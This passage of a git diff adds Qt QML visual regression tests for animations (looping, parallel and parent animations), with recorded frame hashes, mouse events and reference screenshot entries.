+ }
+ Frame {
+ msec: 5856
+ hash: "e6521a3c74c190c193af2c913e5326e2"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/loop/loop.qml b/tests/auto/declarative/qmlvisual/animation/loop/loop.qml
new file mode 100644
index 00000000..6f625825
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/loop/loop.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 600
+ height: 100
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: Qt.rgba(1,0,0)
+ /* This should produce an animation that starts at 0, animates smoothly
+ to 100, jumps to 200, animates smoothly to 400, animates smoothly
+ back to 100, jumps to 200, and so on.
+ */
+ SequentialAnimation on x {
+ loops: Animation.Infinite
+ NumberAnimation { to: 100; duration: 1000 }
+ NumberAnimation { from: 200; to: 400; duration: 1000 }
+ }
+
+ }
+
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.0.png b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.0.png
new file mode 100644
index 00000000..a45e421c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.qml
new file mode 100644
index 00000000..f4991cc2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation-visual.qml
@@ -0,0 +1,243 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "parallelAnimation-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "d5eb647077598cab2f3d0c016fbbb419"
+ }
+ Frame {
+ msec: 48
+ hash: "d5eb647077598cab2f3d0c016fbbb419"
+ }
+ Frame {
+ msec: 64
+ hash: "d5eb647077598cab2f3d0c016fbbb419"
+ }
+ Frame {
+ msec: 80
+ hash: "d5eb647077598cab2f3d0c016fbbb419"
+ }
+ Frame {
+ msec: 96
+ hash: "d5eb647077598cab2f3d0c016fbbb419"
+ }
+ Frame {
+ msec: 112
+ hash: "d5eb647077598cab2f3d0c016fbbb419"
+ }
+ Frame {
+ msec: 128
+ hash: "d5eb647077598cab2f3d0c016fbbb419"
+ }
+ Frame {
+ msec: 144
+ hash: "aa22c670b17a7372732f9bc85e41a082"
+ }
+ Frame {
+ msec: 160
+ hash: "19d09945e45f74d1edd9935e855369b3"
+ }
+ Frame {
+ msec: 176
+ hash: "ed391a3b7eba8e98d2f8e372f42e9210"
+ }
+ Frame {
+ msec: 192
+ hash: "ac3f7547a9576e0a313e7060ed7431e9"
+ }
+ Frame {
+ msec: 208
+ hash: "ddf41ca7289f44990d0d6d41a838bd6f"
+ }
+ Frame {
+ msec: 224
+ hash: "42eb324d288b39fa32bf11795d6633f6"
+ }
+ Frame {
+ msec: 240
+ hash: "8447851893d2d8f5661731761b6702fa"
+ }
+ Frame {
+ msec: 256
+ hash: "7d86bc9b509bcd45eebf2c7e70151424"
+ }
+ Frame {
+ msec: 272
+ hash: "c33a6731151fbce1156888129d53b8ec"
+ }
+ Frame {
+ msec: 288
+ hash: "028cd521f75d3ecc810a0baa2e857441"
+ }
+ Frame {
+ msec: 304
+ hash: "58e565d78d68a69b864c1d7bb8d6180f"
+ }
+ Frame {
+ msec: 320
+ hash: "7f21037b48949c2086e7692723a90abf"
+ }
+ Frame {
+ msec: 336
+ hash: "5c5c9101a0594bae2f5f8c5bb534a931"
+ }
+ Frame {
+ msec: 352
+ hash: "8c010e7bd746d3865e283cc9f5fb83b7"
+ }
+ Frame {
+ msec: 368
+ hash: "0a2b5c4aa4e8ca8b264c774e4cc90f23"
+ }
+ Frame {
+ msec: 384
+ hash: "bf18f1e0102f471773de1cbb0b24bfc3"
+ }
+ Frame {
+ msec: 400
+ hash: "bc8e1d5a6d38e38284313ede359582bc"
+ }
+ Frame {
+ msec: 416
+ hash: "3a34e518882bd28d11ebdd1646737a8b"
+ }
+ Frame {
+ msec: 432
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 448
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 464
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 480
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 496
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 512
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 528
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 544
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 560
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 576
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 592
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 608
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 624
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 640
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 656
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 672
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 688
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 704
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 720
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 736
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 752
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 768
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 784
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 800
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 816
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 832
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 848
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 864
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 880
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 896
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 912
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 928
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+ Frame {
+ msec: 944
+ hash: "df113cd7cd502c0ae8cb2dd0f0c209a0"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation-visual.qml
new file mode 100644
index 00000000..6974adbc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation-visual.qml
@@ -0,0 +1,52 @@
+import QtQuick 1.0
+
+/*
+ This test verifies that a single animation animating two properties is visually the same as two
+ animations in a parallel group animating the same properties. Visually, you should see a red
+ rectangle at 0,0 stretching from the top of the window to the bottom. This rect will be moved to
+ the right side of the window while turning purple. If the bottom half is visually different
+ than the top half, there is a problem.
+*/
+
+Rectangle {
+ width: 200; height: 100
+ Rectangle {
+ id: redRect
+ width: 50; height: 50
+ color: "red"
+ }
+ Rectangle {
+ id: redRect2
+ width: 50; height: 50
+ y: 50
+ color: "red"
+ }
+
+ Timer{
+ interval: 100
+ running: true
+ onTriggered: parent.state = "state1"
+ }
+
+ states: State {
+ name: "state1"
+ PropertyChanges {
+ target: redRect
+ x: 150
+ color: "purple"
+ }
+ PropertyChanges {
+ target: redRect2
+ x: 150
+ color: "purple"
+ }
+ }
+
+ transitions: Transition {
+ PropertyAnimation { targets: redRect; properties: "x,color"; duration: 300 }
+ ParallelAnimation {
+ NumberAnimation { targets: redRect2; properties: "x"; duration: 300 }
+ ColorAnimation { targets: redRect2; properties: "color"; duration: 300 }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.0.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.0.png
new file mode 100644
index 00000000..41d51da0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.1.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.1.png
new file mode 100644
index 00000000..953e8bd4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.2.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.2.png
new file mode 100644
index 00000000..b311ae18
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.3.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.3.png
new file mode 100644
index 00000000..41d51da0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.4.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.4.png
new file mode 100644
index 00000000..5b68a73b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml
new file mode 100644
index 00000000..42968831
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml
@@ -0,0 +1,1223 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "parentAnimation-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 48
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 64
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 80
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 96
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 112
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 128
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 144
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 160
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 176
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 192
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 208
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 224
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 240
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 256
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 272
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 288
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 304
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 320
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 336
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 352
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 368
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 384
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 400
+ hash: "234b795b5dd412e4397f132f03f38175"
+ }
+ Frame {
+ msec: 416
+ hash: "eca09aebcc15501fd348b9eb19b54ee2"
+ }
+ Frame {
+ msec: 432
+ hash: "6ab63f771ac705439157cf0ed84bc274"
+ }
+ Frame {
+ msec: 448
+ hash: "42212db87d03c35e96e38ac200bd9ec2"
+ }
+ Frame {
+ msec: 464
+ hash: "46a79ff030b89a4c8791fd853a96b64f"
+ }
+ Frame {
+ msec: 480
+ hash: "cdfee36535e491328f5045b6f3378b64"
+ }
+ Frame {
+ msec: 496
+ hash: "5cfc7db34110aa39f296fe4475de0c08"
+ }
+ Frame {
+ msec: 512
+ hash: "df59e3aa557a661ce513523c3059c41d"
+ }
+ Frame {
+ msec: 528
+ hash: "2d2f8fc7d695bcd20ef682b25a22186a"
+ }
+ Frame {
+ msec: 544
+ hash: "daac5f2d4b451501669a7767d0a19ccc"
+ }
+ Frame {
+ msec: 560
+ hash: "e10801e6c7086eac3eaaa48a3d39bb95"
+ }
+ Frame {
+ msec: 576
+ hash: "a5fdf57b20bf4d4aad99f02a13bbfc66"
+ }
+ Frame {
+ msec: 592
+ hash: "b48721b169b4a1118b040a9e41c252a1"
+ }
+ Frame {
+ msec: 608
+ hash: "242425f06d5706f0483e49812bfb4718"
+ }
+ Frame {
+ msec: 624
+ hash: "33bdd4d71b1736055d821ee5040bfaed"
+ }
+ Frame {
+ msec: 640
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 656
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 672
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 688
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 704
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 720
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 736
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 752
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 768
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 784
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 800
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 816
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 832
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 848
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 864
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 880
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 896
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 912
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 928
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 944
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 960
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 976
+ image: "parentAnimation-visual.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1008
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1024
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1040
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1056
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1072
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1088
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1104
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1120
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1136
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 1168
+ hash: "b985be8701f0bbb73facfe745d43e32f"
+ }
+ Frame {
+ msec: 1184
+ hash: "6b3e91ff248516656fd2efe26db6c900"
+ }
+ Frame {
+ msec: 1200
+ hash: "40bd9296de59b3abc5b7a204a6ecff3f"
+ }
+ Frame {
+ msec: 1216
+ hash: "615817b53baf0d0cd290b18ad9deee4d"
+ }
+ Frame {
+ msec: 1232
+ hash: "c990d9afcebfc4dcc35457d555d7e9cb"
+ }
+ Frame {
+ msec: 1248
+ hash: "2d1a4687abe3fd7b1911f8e5020c4378"
+ }
+ Frame {
+ msec: 1264
+ hash: "b5e1399f1924dafa6782da6b739af882"
+ }
+ Frame {
+ msec: 1280
+ hash: "8686a36600410f4f39f558eadfb3479f"
+ }
+ Frame {
+ msec: 1296
+ hash: "39f1f7573198f86e1452211f62dc7f1a"
+ }
+ Frame {
+ msec: 1312
+ hash: "fbfbbcb5637c0f90396150abb0aecb14"
+ }
+ Frame {
+ msec: 1328
+ hash: "2c071570228d5a121a64c4c01c443ab2"
+ }
+ Frame {
+ msec: 1344
+ hash: "4e076ea1d8f566eca9aa5eb55ce02098"
+ }
+ Frame {
+ msec: 1360
+ hash: "72fd6c15e76fd6d74a9584be1e82399b"
+ }
+ Frame {
+ msec: 1376
+ hash: "b519ad1958ea69fc4682c06e83f22c42"
+ }
+ Frame {
+ msec: 1392
+ hash: "155b39717f45fe5d36348c499635e759"
+ }
+ Frame {
+ msec: 1408
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1424
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1440
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1456
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1472
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1488
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1504
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1520
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1536
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1552
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1568
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1584
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1600
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1616
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1632
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1648
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1664
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1680
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 1696
+ hash: "234b795b5dd412e4397f132f03f38175"
+ }
+ Frame {
+ msec: 1712
+ hash: "eca09aebcc15501fd348b9eb19b54ee2"
+ }
+ Frame {
+ msec: 1728
+ hash: "6ab63f771ac705439157cf0ed84bc274"
+ }
+ Frame {
+ msec: 1744
+ hash: "42212db87d03c35e96e38ac200bd9ec2"
+ }
+ Frame {
+ msec: 1760
+ hash: "46a79ff030b89a4c8791fd853a96b64f"
+ }
+ Frame {
+ msec: 1776
+ hash: "cdfee36535e491328f5045b6f3378b64"
+ }
+ Frame {
+ msec: 1792
+ hash: "5cfc7db34110aa39f296fe4475de0c08"
+ }
+ Frame {
+ msec: 1808
+ hash: "df59e3aa557a661ce513523c3059c41d"
+ }
+ Frame {
+ msec: 1824
+ hash: "2d2f8fc7d695bcd20ef682b25a22186a"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1840
+ hash: "2d2f8fc7d695bcd20ef682b25a22186a"
+ }
+ Frame {
+ msec: 1856
+ hash: "f611eb7652ce078c81dba533c6c0df5e"
+ }
+ Frame {
+ msec: 1872
+ hash: "2a4f853f3eeef5cbacc8fdacfdab3442"
+ }
+ Frame {
+ msec: 1888
+ hash: "86a201ea5c4af2a28b4047c0732d33c8"
+ }
+ Frame {
+ msec: 1904
+ hash: "e87f15694846a75ff3801aff063d35c7"
+ }
+ Frame {
+ msec: 1920
+ hash: "c3d42dd4ae49a843f32a3dcc818d0b68"
+ }
+ Frame {
+ msec: 1936
+ image: "parentAnimation-visual.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "46a79ff030b89a4c8791fd853a96b64f"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "46a79ff030b89a4c8791fd853a96b64f"
+ }
+ Frame {
+ msec: 1984
+ hash: "079898fb015f88ba9d7cd73f356d2c37"
+ }
+ Frame {
+ msec: 2000
+ hash: "5d03ca6d09d241bd686c878d53d9f269"
+ }
+ Frame {
+ msec: 2016
+ hash: "d986a00663eb3dafb24bf67b3d6c7a04"
+ }
+ Frame {
+ msec: 2032
+ hash: "4e609d8b8921428909a5b78ea1db78b9"
+ }
+ Frame {
+ msec: 2048
+ hash: "f611eb7652ce078c81dba533c6c0df5e"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2064
+ hash: "f611eb7652ce078c81dba533c6c0df5e"
+ }
+ Frame {
+ msec: 2080
+ hash: "2a4f853f3eeef5cbacc8fdacfdab3442"
+ }
+ Frame {
+ msec: 2096
+ hash: "86a201ea5c4af2a28b4047c0732d33c8"
+ }
+ Frame {
+ msec: 2112
+ hash: "2d498b4b440cd6bce6e02102dc62996d"
+ }
+ Frame {
+ msec: 2128
+ hash: "53c55f9fc1aab5f4c552387e8cae749e"
+ }
+ Frame {
+ msec: 2144
+ hash: "8d188a1ab2be377198142f3037d15fc3"
+ }
+ Frame {
+ msec: 2160
+ hash: "66550b5102e2803fb3cbd85f4b2543e0"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2176
+ hash: "66550b5102e2803fb3cbd85f4b2543e0"
+ }
+ Frame {
+ msec: 2192
+ hash: "e495d8163793da7503b9d29c6721ff6e"
+ }
+ Frame {
+ msec: 2208
+ hash: "065e5775930146539ae589782f4e4352"
+ }
+ Frame {
+ msec: 2224
+ hash: "7861ff76ec52f1c0408636f7b53b30b6"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2240
+ hash: "7861ff76ec52f1c0408636f7b53b30b6"
+ }
+ Frame {
+ msec: 2256
+ hash: "e87f15694846a75ff3801aff063d35c7"
+ }
+ Frame {
+ msec: 2272
+ hash: "67edcabe94a3968bbfe3dd1b0b2cd273"
+ }
+ Frame {
+ msec: 2288
+ hash: "a0f8e97d347970aca868538f4294a7ce"
+ }
+ Frame {
+ msec: 2304
+ hash: "c89421473e754235e209f35dea9afccb"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "c89421473e754235e209f35dea9afccb"
+ }
+ Frame {
+ msec: 2336
+ hash: "cdfee36535e491328f5045b6f3378b64"
+ }
+ Frame {
+ msec: 2352
+ hash: "ab31653cb8a31f753782ffff045e2b07"
+ }
+ Frame {
+ msec: 2368
+ hash: "86a201ea5c4af2a28b4047c0732d33c8"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2384
+ hash: "86a201ea5c4af2a28b4047c0732d33c8"
+ }
+ Frame {
+ msec: 2400
+ hash: "4bdc37cd35c71d8a25745cb0ff664fea"
+ }
+ Frame {
+ msec: 2416
+ hash: "5d03ca6d09d241bd686c878d53d9f269"
+ }
+ Frame {
+ msec: 2432
+ hash: "700ff7c6c4ae97b34309bd020807a0e1"
+ }
+ Frame {
+ msec: 2448
+ hash: "e812a79fb65142f6855974f87aabdc90"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2464
+ hash: "e812a79fb65142f6855974f87aabdc90"
+ }
+ Frame {
+ msec: 2480
+ hash: "795809181debf916afbef73c41a66dee"
+ }
+ Frame {
+ msec: 2496
+ hash: "b61c0e25fa9f3c15f1caf91c25937d75"
+ }
+ Frame {
+ msec: 2512
+ hash: "9dd01662ee9d0add862b3afadac72929"
+ }
+ Frame {
+ msec: 2528
+ hash: "0a96c8fec8f6509dbbe16480fe8ebfb7"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "0a96c8fec8f6509dbbe16480fe8ebfb7"
+ }
+ Frame {
+ msec: 2560
+ hash: "ce67814de0091d5ab5cc2172a830bc93"
+ }
+ Frame {
+ msec: 2576
+ hash: "d986a00663eb3dafb24bf67b3d6c7a04"
+ }
+ Frame {
+ msec: 2592
+ hash: "69e21aefb8bdbfaaa5e1e7969d827ec3"
+ }
+ Frame {
+ msec: 2608
+ hash: "cdfee36535e491328f5045b6f3378b64"
+ }
+ Frame {
+ msec: 2624
+ hash: "cdb20c4866bdf55bd454864a31676053"
+ }
+ Frame {
+ msec: 2640
+ hash: "46a79ff030b89a4c8791fd853a96b64f"
+ }
+ Frame {
+ msec: 2656
+ hash: "c2535eb78e0cf46151f15cd2ec7c4838"
+ }
+ Frame {
+ msec: 2672
+ hash: "7a1455f07b916a63e43b89da4311a033"
+ }
+ Frame {
+ msec: 2688
+ hash: "f9a2c0ef913ecd7026d9775648a063d6"
+ }
+ Frame {
+ msec: 2704
+ hash: "5da8f6f7d847c174da393015dfc33537"
+ }
+ Frame {
+ msec: 2720
+ hash: "1d5f20cb721f1e5cb067095bee1b51fe"
+ }
+ Frame {
+ msec: 2736
+ hash: "ca7f5fa76264d1eb1182e46e371ee81c"
+ }
+ Frame {
+ msec: 2752
+ hash: "2467dc0ffdb051e092c5bfd5d371e6b6"
+ }
+ Frame {
+ msec: 2768
+ hash: "0b04e516eb08978914c39ec2d742e161"
+ }
+ Frame {
+ msec: 2784
+ hash: "5abec56587da54876c204d2e32efe7ad"
+ }
+ Frame {
+ msec: 2800
+ hash: "fbf01bb217e393b79a6a2c567750de89"
